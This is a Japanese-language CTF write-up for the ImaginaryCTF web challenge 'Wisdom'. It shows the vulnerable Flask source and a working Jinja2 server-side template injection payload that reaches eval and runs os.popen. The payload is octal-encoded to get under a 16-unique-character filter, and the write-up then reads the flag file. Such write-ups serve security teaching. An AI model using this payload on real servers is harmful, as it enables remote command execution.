💡

ImaginaryCTF Web[Wisdom] Writeup

2022/10/14に公開約3,100字

ImaginaryCTF Web[Wisdom]

ImaginaryCTFのWeb問のWriteupを書きます。

ソースコードはこちら

     1	#!/usr/bin/env python3
       
     2	from flask import Flask, render_template_string, request, Response
       
     3	app = Flask(__name__)
       
     4	init_config = {key:app.config[key] for key in app.config}
       
     5	@app.route('/')
     6	def index():
     7	    return Response(open(__file__).read(), mimetype='text/plain')
       
     8	@app.route('/docker')
     9	def docker():
    10	    return Response(open("Dockerfile").read(), mimetype='text/plain')
       
    11	@app.route('/ssti')
    12	def ssti():
    13	    query = request.args['query'] if 'query' in request.args else '...'
       
    14	    # no persistence!
    15	    to_del = []
    16	    for key in app.config:
    17	        if key not in init_config:
    18	            to_del.append(key)
    19	        else:
    20	            app.config[key] = init_config[key]
    21	    for key in to_del:
    22	        del app.config[key]
       
    23	    for attr in dir(request):
    24	        if any(attr.startswith(i) for i in ["__"]):
    25	            continue
    26	        try:
    27	            setattr(request, attr, None)
    28	        except Exception as e:
    29	            pass
    30	            # print("Failed to set attr", attr)
       
    31	    # turns out flask doesn't like it when you nuke their data
    32	    request.environ = {"flask._preserve_context": False}
       
    33	    if len(set(query)) > 16:
    34	        return f"<div>Too many ({len(set(query))}) unique characters!</div>" + \
    35	               f"<div>Unique characters used: {''.join(set(query))}</div>"
       
    36	    return f"<div>Number of unique characters: {len(set(query))}</div>" + \
    37	           f"<div>Unique characters used: {''.join(set(query))}</div>" + \
    38	           render_template_string(query)
       
    39	app.run('0.0.0.0', 5004)

13行目でqueryパラメータの値をquery変数に格納し、
33行目でqueryをset型(集合型)に変換、文字数が17文字以上でToo many...と表示され、16文字以下だとFlaskのrender_template_string(query)が実行されます。
送られる文字列のサニタイジング処理を行っていないため、SSTIの脆弱性が存在します。

Payloadの作成

set型(集合型)、つまり同じ文字は1つにまとめられます。通常のSSTIのPayloadは、
{{''.__class__.__bases__[0].__subclasses__()[75]}}このようにしますが、
これだと16文字を超えてしまします。Jinjaのパーサー(構文解析)は、16進数、8進数、2進数の整数リテラルを解釈できます。Payloadを8進数にencodeし、文字数を抑えることができます。

encode前
{{''.__class__.__mro__[1].__subclasses__()[220]__init__.__globals__['__builtins__']['eval']("__import__('os').popen('dir').read()")}}
encode後
{{''[%27\137\137\143\154\141\163\163\137\137%27][%27\137\137\155\162\157\137\137%27][1][%27\137\137\163\165\142\143\154\141\163\163\145\163\137\137%27]()[220]['\137\137\151\156\151\164\137\137']['\137\137\147\154\157\142\141\154\163\137\137']['\137\137\142\165\151\154\164\151\156\163\137\137']['\145\166\141\154']('\137\137\151\155\160\157\162\164\137\137\50\47\157\163\47\51\56\160\157\160\145\156\50\47\144\151\162\47\51\56\162\145\141\144\50\51')}}

8進数にencodeしたことにより、\1520['43)7(6}]{の16種類の文字を使います。
queryパラメータに入力し、送信することによってdirコマンドの実行結果を得られます。
FLAGのファイル名を知ることができるのでcat flagname.txtでFLAGをゲットすることができます。

Discussion

ログインするとコメントできます